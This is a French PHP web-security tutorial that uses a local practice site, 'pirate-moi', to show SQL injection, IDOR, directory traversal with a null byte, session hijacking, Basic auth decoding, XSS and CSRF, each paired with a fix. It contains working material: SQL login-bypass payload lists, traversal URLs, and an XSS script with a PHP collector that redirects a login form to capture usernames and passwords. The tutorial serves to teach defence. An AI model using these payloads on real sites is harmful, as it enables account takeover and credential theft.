# Approche ludique des failles web et les solutions de sécurisation correspondantes

par Rija Randriano (http://randriano.developpez.com)

Date de publication : 03 février 2012

Dernière mise à jour :

## Introduction

Ce tutoriel a pour but de vous présenter les failles basiques des sites web et de fournir les solutions de sécurisation selon le type de faille. Nous allons aborder cela de façon ludique à travers le petit concours suivant qui est inspiré du concours de hacking **HackMe**. Le pré requis de ce tutoriel c'est la connaissance de PHP car les solutions présentées ici sont pour ce langage, vous pouvez jeter un □il sur **http://php.developpez.com**.

Télécharger le projet : Source **pirate-moi**

Ce projet a été développé en PHP pur sans utilisation de framework. Il présente 10 scénarios dont 8 de niveau débutant et 2 de niveau intermédiaire sur les failles XSS. Pour le moment, il n'y a pas de niveau expert comme c'est le cas sur **http://www.wablab.com/hackme**.

## Installation du projet

Il s'agit d'un site PHP qui a été testé sous le serveur WAMP. Pour être sûr de ne pas avoir de soucis d'URL, il faudrait mieux le dézipper dans le dossier www sans renommer le dossier extrait (pirate-moi). La base de données se traduit par le script "database.sql" dans le dossier " pirate-moi ", créez la base de données "piratemoi" et exécutez le script.

## Deuxième introduction

Le hack est par définition une solution rapide et bricolée pour contourner un problème, quel qu'il soit. En informatique, la signification est la même dans le sens où l'on exploite l'imperfection des programmeurs. Les failles présentées ci-dessous sont des cas classiques mais dont des millions de sites web en sont encore vulnérables.

## Les 10 scénarios du projet

## Scénario 1 : injection SQL

Au cours de ce tutoriel, vous allez beaucoup entendre parler de Rakoto, le nom du personnage de ce concours, il s'agit en quelque sorte du webmaster du site que l'on va hacker.

Le scénario 1 consiste à présenter la faille que peut présenter l'utilisation de SQL sur un site web. En effet, le plus souvent lorsque l'on développe le module d'authentification d'un site web, nous faisons tout simplement comme suit :

```
SELECT id, email, password FROM users WHERE username = '$txtUsername' AND password = '$txtMotDePasse'
```

où **$txtUsername** et **$txtMotDePasse** sont les textes postés par le formulaire d'authentification.

Il faut que vous sachiez que c'est une erreur fondamentale. Il existe plusieurs manières de zapper l'authentification sans connaître le mot de passe. Imaginez que vous tapez comme nom d'utilisateur : **rakoto@sample.com' OR 1='1** et comme mot de passe n'importe quoi. Cela revient à une requête SQL du genre :

```
SELECT id, email, password FROM users WHERE username = 'rakoto@sample.com' OR 1='1' AND
 password = 'qsdqdfqdfqsdf'
```

Et ça passe!

Beaucoup d'autres combinaisons peuvent être utilisées pour bypasser l'authentification:

'='
'OR 1=1

'OR a=a
'OR'
'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
'OR "='
'OR '="
'OR "="
'OR "="

## SOLUTION

En PHP, la première solution c'est d'échapper les caractères : il s'agit d'utiliser non pas mysql_escape_string qui ajoute juste un slash avant les caractères spéciaux mais **mysql_real_escape_string**. Avant de lancer mysql_query(), il faut nettoyer la requête comme suit :

```
$qryLogin = sprintf("SELECT * FROM users WHERE email = '%s' AND motdepasse= '%s'", mysql_real_escape_string($strE
```

## Scénario 2 : référence directe d'objet

En anglais : *Insecure Direct Object Reference*

Il s'agit d'une faille jamais détectée par les scanners de vulnérabilités web mais qui constitue le plus souvent une faille de la plupart des sites web. Lorsque l'on développe, on pense que les utilisateurs vont effectuer une navigation normale sans jeter un □il sur le code source (touche Ctrl+U sous Firefox et Chrome) des pages qu'ils visitent.

Et oui, nous trainons souvent des références à des objets comme un ID de l'utilisateur ou un ID de commande dans le code de la page.

Par exemple :

```
<input name="user_id" value="892" type="hidden">
```

Il suffit le plus souvent de changer "value" pour un autre ID et voilà qu'on peut visionner des données qui ne sont pas autorisées en principe, voire même les modifier comme le mot de passe dans le cas de notre projet.

Etant sous le navigateur Firefox, j'ai utilisé Firebug pour modifier la référence.

## SOLUTION

Il ne faut non plus généraliser que lorsqu'il y a des ID clairement visibles comme cela qu'un site est hackable. La solution est de vérifier que l'utilisateur a le droit de consulter l'objet, on lui affiche une erreur " 403 - Access Forbidden " lorsqu'il tente de changer l'ID à visionner ou à modifier.

## Scénario 3 : directory traversal ou directory transversal

A ma connaissance, aucun nom français n'est utilisé pour désigner ce type de faille.

C'est l'exploitation d'une technique de navigation qui consiste à utiliser des symboles point (**.**) et double-point (**..**), respectivement pour indiquer le dossier où je me trouve et pour remonter vers le dossier parent de celui où je me

trouve. Dans le cadre de notre tutoriel, cette faille sera exploitée pour afficher le contenu des fichiers qui ne devait pas être consultable. Ici on veut afficher config.ini.

Ce type de navigation n'est exploitable que lorsque l'on utilise encore le mode d'accès à une page par son nom de fichier. Ici c'est le cas pour l'affichage du flux RSS : http://localhost/pirate-moi/scenario3/synd?file=rss.xml. Pour explication, il suffit donc d'indiquer au contrôleur "synd" le nom du fichier XML. Par défaut le contrôleur affiche les fichiers dans le dossier " syndicate " mais il suffit de remonter d'un dossier pour afficher les autres fichiers : http://localhost/pirate-moi/scenario3/synd?file=../config/config.ini.

## SOLUTION

Voir le scénario 6

## Scénario 4 : détournement de session

Il s'agit d'exploiter la session qui est l'un des moyens possibles en PHP pour passer une information entre les pages. La création d'une session sous PHP correspond à un envoi de commande au navigateur pour créer un cookie dit de session, par défaut le nom de ce cookie c'est PHPSESSID mais on peut utiliser d'autres noms. Ce cookie de session est renvoyé par le navigateur au serveur à chaque visite d'une page.

Dans le cas de notre concours, on suppose que vous avez pu subtiliser le cookie de session de Rakoto qui est : piratemoi_session_id=eb8abbc271f9993442865398ec1fdcb4. Comment ferez-vous ?

Il suffit d'insérer ce cookie dans le domaine où vous testez le projet, pour moi c'est localhost :

```
Nom: hackme_session_id
Valeur: a6acea42e3d3d7c2af2e77db61df5163
Host: localhost
Chemin: /
```

Si c'est sur le site de Wablab que vous testez :

```
Host : .wablab.com
```

Pour cela, j'ai utilisé un plugin Firefox (Edit Cookies).

## SOLUTION

Il n'y a pas de solution miracle, il ne faut pas autoriser d'autres personnes à accéder à votre ordinateur. Mais un hacker peut toujours obtenir cela en espionnant votre réseau surtout si c'est du Wifi. Dans ce cas, il faut utiliser du SSL qui crypte les données qui transitent sur le réseau.

## Scénario 5 : Connaissance basique de la requête http

Il s'agit d'un petit exercice identique au scénario 4 qui consiste à pouvoir glisser des informations, ici dans l'en-tête http envoyée au serveur.

Sous Firefox, cela peut se faire avec un plugin dénommé "Modify Headers".

Tout d'abord, il faut obtenir l'en-tête http correspondant à l'appel de http://localhost/pirate-moi/scenario5/hash. Il suffit ensuite d'ajouter la ligne "hash:50954a8b3bdad4662de6eb497e456c38" à l'en-tête.

## Scénario 6 : Directory traversal + Null character

C'est la suite logique de l'exercice du scenario 3. On dit que l'exploitation du directory traversal a été corrigée dans le code par le fait que l'on ajoute en amont l'extension XML. Maintenant lorsque vous tentez d'entrer config.ini, cela devient config.ini.xml qui n'existe pas donc il n'y a rien à afficher.

Erreur ! Car les développeurs semblent ne pas connaître l'existence du " Null character " ! Le caractère nul est considéré comme fin de caractère en PHP donc config.ini(Null).xml vaut config.ini.

Dans un URL, le caractère nul est **%00**

http://localhost/pirate-moi/scenario3/synd?file=../config/config.ini%00

## SOLUTION

La solution c'est de ne plus utiliser ce genre d'affichage de page dans vos codes c'est-à-dire d'afficher une page selon son nom de fichier, on ne fait plus comme cela.

## Scénario 7 : Basic Authentication

Le "http authentication" fait de la spécification du protocole http qui consiste à s'identifier avec un login et un mot de passe avant de pouvoir accéder à la ressource désignée par un URL.

Avec le serveur WAMP (Apache plus exactement), il s'agit de mettre en place le fichier .htpasswd pour obtenir ce résultat. Dans notre exercice, c'est une ligne de la requête http qui nous intéresse :

```
Authorization: Basic YWRtaW5pc3RyYXRvcjo5MDcwOWUwOWE1ODllNmE3ZjQ0OWEwOWMxYjlmZjIwMw==
```

A voir cette ligne, on pense qu'il s'agit d'une donnée cryptée or ce n'est pas le cas c'est juste encodé c'est-à-dire pour tromper l'il. C'est de l'encodage **Base64**. On peut le décoder avec de nombreux décodeurs en ligne par exemple **http://home.paulschou.net/tools/xlate/**.

## SOLUTION

En fait, il y a deux méthodes pour coder l'autorisation http : soit avec la **méthode Basic** qui a été utilisée et qui est très facile à décoder, soit avec la **méthode Digest** qui permet de ne transmettre le mot de passe en clair, il est hashé avec la fonction **MD5** avant d'être envoyé au serveur.

## Scénario 8 : référence directe d'objet

Ce scénario est un autre exemple du cas de référence directe d'objet déjà évoquée au scénario 2. Cette fois, c'est pour le cas d'un paiement sur un site e-commerce. La référence directe n'est plus un ID mais le prix même du laptop à vendre.

Je vous laisse le hacker car c'est un jeu d'enfant.

## Scénario intermédiaire 1 : faille XSS

XSS = Cross-Site Scripting

Le XSS est en quelque sorte une attaque par injection de Javascript. C'est l'une des attaques les plus répandues dans le monde. Elle s'exploite sur les sites permettant à ses visiteurs de commenter des articles ou de publier des articles. Une plus longue explication est déjà disponible sur developpez.com dont je vous invite à lire : **Julien Pauli - Web sécurité**

Dans notre exercice, le défi consiste à insérer un code javascript mais pour faire quoi ? Bien sûr non plus pour faire un <script>alert(document.cookie);</script> typique du test si votre formulaire est hackable au XSS mais pour pouvoir récupérer le login et le mot de passe que l'utilisateur saisira sur le formulaire de connexion juste à côté.

Mais comment peut-on récupérer ce qu'un utilisateur lointain pourrait taper sur ce formulaire ? Tout simplement, en détournant l'action du <form> vers un script à soi qui est hébergé ailleurs.

Le script à insérer dans le formulaire est tout simplement du genre :

```
<script type="text/javascript">
document.getElementById("scenario1_login_form").action = "http://localhost/votre_dossier/hackme.php";
</script>
```

Et le contenu du fichier hackme.php

```
<?php
/*
CREATE TABLE `temptab` (
  `IdTemptab` int(11) NOT NULL auto_increment,
  `Username` varchar(255) default NULL,
  `Password` varchar(255) default NULL,
  PRIMARY KEY  (`IdTemptab`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
*/
$zUserName = $_POST["username"];
$zPassword = $_POST["password"];

Define("MYSQL_HOST", "localhost");
Define("MYSQL_USER", "root");
Define("MYSQL_PWD", "IKlzqasx");
Define("MYSQL_BDD", "piratemoi"); //Changez ici la valeur
$connect = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PWD) or die("Connection Error ...");
mysql_select_db(MYSQL_BDD, $connect) or die("Select DB Error ..."); //On sélectionne la base de données
mysql_query("INSERT INTO temptab(UserName,Password) VALUES('$zUserName','$zPassword')") or die("Insertion Error .

mysql_close($connect);
?>
```

## SOLUTION

La solution consiste plutôt à ne pas stocker immédiatement toutes données envoyées à partir des formulaires de votre base de données mais d'abord les analyser : voir s'il y a des caractères spécifiques et surtout s'il y a des balises script, il faut convertir les caractères spécifiques et les balises en leurs équivalents HTML.

En PHP, on peut utiliser la fonction **htmlentities()**. Avant d'afficher du texte ou avant d'enregistrer du texte qui peut contenir des balises script, on invoque cette fonction :

```
echo htmlentities($message); // avant d'afficher
```

Si votre encodage est en UTF-8, faire plutôt comme suit :

```
htmlentities($message, ENT_COMPAT, 'UTF-8');
// ou
htmlentities($message, ENT_QUOTES, 'UTF-8');
```

Comme le cite mon confrère **Julien Pauli**, il y a d'autres bibliothèques qui peuvent être utilisées pour protéger votre site par exemple **html tidy**.

## Scénario intermédiaire 2 : faille XSS

Il s'agit d'un scénario presque identique au scénario intermédiaire 1 à la différence cette fois-ci que l'on utilise maintenant TinyMCE pour le formulaire de saisie de commentaire. La difficulté est que cet éditeur convertit les caractères spéciaux et balises.

Bref, on ne pourra pas intégrer du Javascript et le garder dans son état de script en le collant sur le formulaire. Il faut le mettre directement dans le code d'envoi de TinyMCE du genre :

```
var feedData = 'feed='+'%3Cscript%20type%3D%22text%2Fjavascript%22%3Edocument.getElementById
%28%22scenario2_login_form%22%29.action%20%3D%20%22http%3A%2F%2Flocalhost%2Fvotre_dossier%2F hackme.php
%22%3B%3C%2Fscript%3E';
```

# Autres failles web

## La faille include ou inclusion dynamique

L'exploitation de cette faille par les hackers est identique au scénario du directory traversal. Les sites vulnérables sont ceux qui ont des URLs de la forme ?page=XXX. Le plus souvent le XXX est un code PHP qui sera inclus dans la page appelante.

```
<?
$url = $_GET["page"];
include($url);
?>
```

Bref, si l'on fait ?page=http://randriano.developpez.com c'est la page de ce site qui sera incluse voire exécutée s'il s'agit d'un script PHP malveillant.

## Le Cross Site Request Forgery (CSRF)

C'est un type d'attaque qui consiste à faire lancer par l'utilisateur un URL pour lui faire déclencher l'attaque. Ironique mais c'est comme ça. Imaginons une page nommée "supprimer_compte.php" pour supprimer son compte, si le développeur n'a donc pas pensé à protéger son site du CSRF, tout utilisateur connecté qui lancera ce script verra son compte supprimé définitivement.

Le plus souvent un hacker n'enverra pas un URL aussi parlant que cela, il masquera le lien à travers une image à cliquer.

## SOLUTION

La solution c'est l'utilisation de jeton de validité dans les formulaires ou token. Faire en sorte qu'un formulaire posté ne soit accepté que s'il a été produit quelques minutes auparavant : le jeton de validité en sera la preuve. Il s'agit d'un code de type GUID que l'on va générer pour un utilisateur et stocker dans un <input type="hidden" dans le formulaire. Donc si un lien est appelé sans la présence de ce jeton avec, l'action est refusée.

## Conclusion

Les hack qui ont été présentés dans ce tutoriel ne sont que des cas basiques dont au moins, vous devez vous protéger mais il existe d'autres cas encore plus complexes. Par exemple, l'attaque par injection SQL ne se limite pas à cet exemple très simple présenté précédemment, il y a des injections SQL avancées.

Après avoir achevé tous les scénarios, je vous incite à protéger immédiatement les sites que vous gérez de ces failles "basiques" car les pirates sont mesquins et ne manquent pas d'imagination.

Merci à **Mahefasoa** pour la relecture orthographique.